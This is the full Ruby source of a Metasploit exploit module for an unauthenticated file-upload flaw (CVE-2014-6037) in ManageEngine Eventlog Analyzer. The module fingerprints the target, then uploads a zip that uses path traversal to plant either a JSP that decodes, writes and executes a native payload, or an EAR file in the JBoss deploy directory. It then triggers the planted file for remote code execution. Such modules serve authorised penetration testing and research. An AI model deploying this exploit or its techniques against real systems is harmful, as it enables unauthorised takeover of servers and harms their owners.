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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name'=> 'ManageEngine Eventlog Analyzer Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. The vulnerability exists in the agentUpload servlet which accepts unauthenticated file uploads and handles zip file contents in a insecure way. By combining both weaknesses a remote attacker can achieve remote code execution. This module has been tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, while versions 8.1+ are only exploitable via a JSP upload. }, 'Author' => [ 'h0ng10',# Vulnerability discovery 'Pedro Ribeiro <pedrib[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'CVE', '2014-6037' ], [ 'OSVDB', '110642' ], [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Privileged'=> false,# Privileged on Windows but not on Linux targets 'Platform'=> %w{ java linux win }, 'Targets' => [ [ 'Automatic', { } ], [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal', { 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'WfsDelay' => 30 } ], [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 31 2014')) register_options( [ Opt::RPORT(8400), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), ], self.class) end def get_version res = send_request_cgi({ 'uri'=> normalize_uri("event/index3.do"), 'method' => 'GET' }) if res and res.code == 200 if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ return $1 end end return "0" end def check version = get_version if version >= "7" and version <= "9" # version 7 to < 8.1 detection res = send_request_cgi({ 'uri'=> normalize_uri("event/agentUpload"), 'method' => 'GET' }) if res and res.code == 405 return Exploit::CheckCode::Appears end # version 8.1+ detection res = send_request_cgi({ 'uri'=> normalize_uri("agentUpload"), 'method' => 'GET' }) if res and res.code == 405 and version == 8 return Exploit::CheckCode::Appears else # We can't be sure that it is vulnerable in version 9 return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end def create_zip_and_upload(payload, target_path, is_payload = true) # Zipping with CM_STORE to avoid errors decompressing the zip # in the Java vulnerable application zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file(target_path, payload) post_data = Rex::MIME::Message.new post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") data = post_data.to_s if is_payload print_status("#{peer} - Uploading payload...") end res = send_request_cgi({ 'uri'=> (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), 'method' => 'POST', 'data' => data, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}" }) if res and res.code == 200 and res.body.empty? if is_payload print_status("#{peer} - Payload uploaded successfully") end register_files_for_cleanup(target_path.gsub("../../", "../")) return true else return false end end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Determining target") version = get_version if version == "7" return targets[1] end os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" target_dir = "../../webapps/event/" if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) if version == "8" # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method return targets[1] end return nil end res = send_request_cgi({ 'uri'=> normalize_uri(jsp_name), 'method' => 'GET' }) if res and res.code == 200 if res.body.to_s =~ /Windows/ return targets[2] else # assuming Linux return targets[3] end end return nil end def generate_jsp_payload opts = {:arch => @my_target.arch, :platform => @my_target.platform} payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path= rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp = jsp.gsub(/\x0d\x0a/, "") jsp = jsp.gsub(/\x0a/, "") return jsp end def exploit_native # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" target_dir = "../../webapps/event/" jsp_payload = generate_jsp_payload if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end return jsp_name end def exploit_java # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") end target_dir = "../../server/default/deploy/" # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => war_app_base }) # ... and then we create an EAR file that will contain it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>} # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) ear_file.add_file(war_app_base + ".war", war_payload.to_s) ear_file.add_file("META-INF/application.xml", app_xml) ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") sleep(datastore['SLEEP']) return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) end def exploit if datastore['SLEEP'] < 0 print_error("The SLEEP datastore option shouldn't be negative") return end @my_target = pick_target if @my_target.nil? print_error("#{peer} - Unable to select a target, we must bail.") return else print_status("#{peer} - Selected target #{@my_target.name}") end if @my_target == targets[1] exploit_path = exploit_java else exploit_path = exploit_native end print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri'=> normalize_uri(exploit_path), 'method' => 'GET' }) end end |
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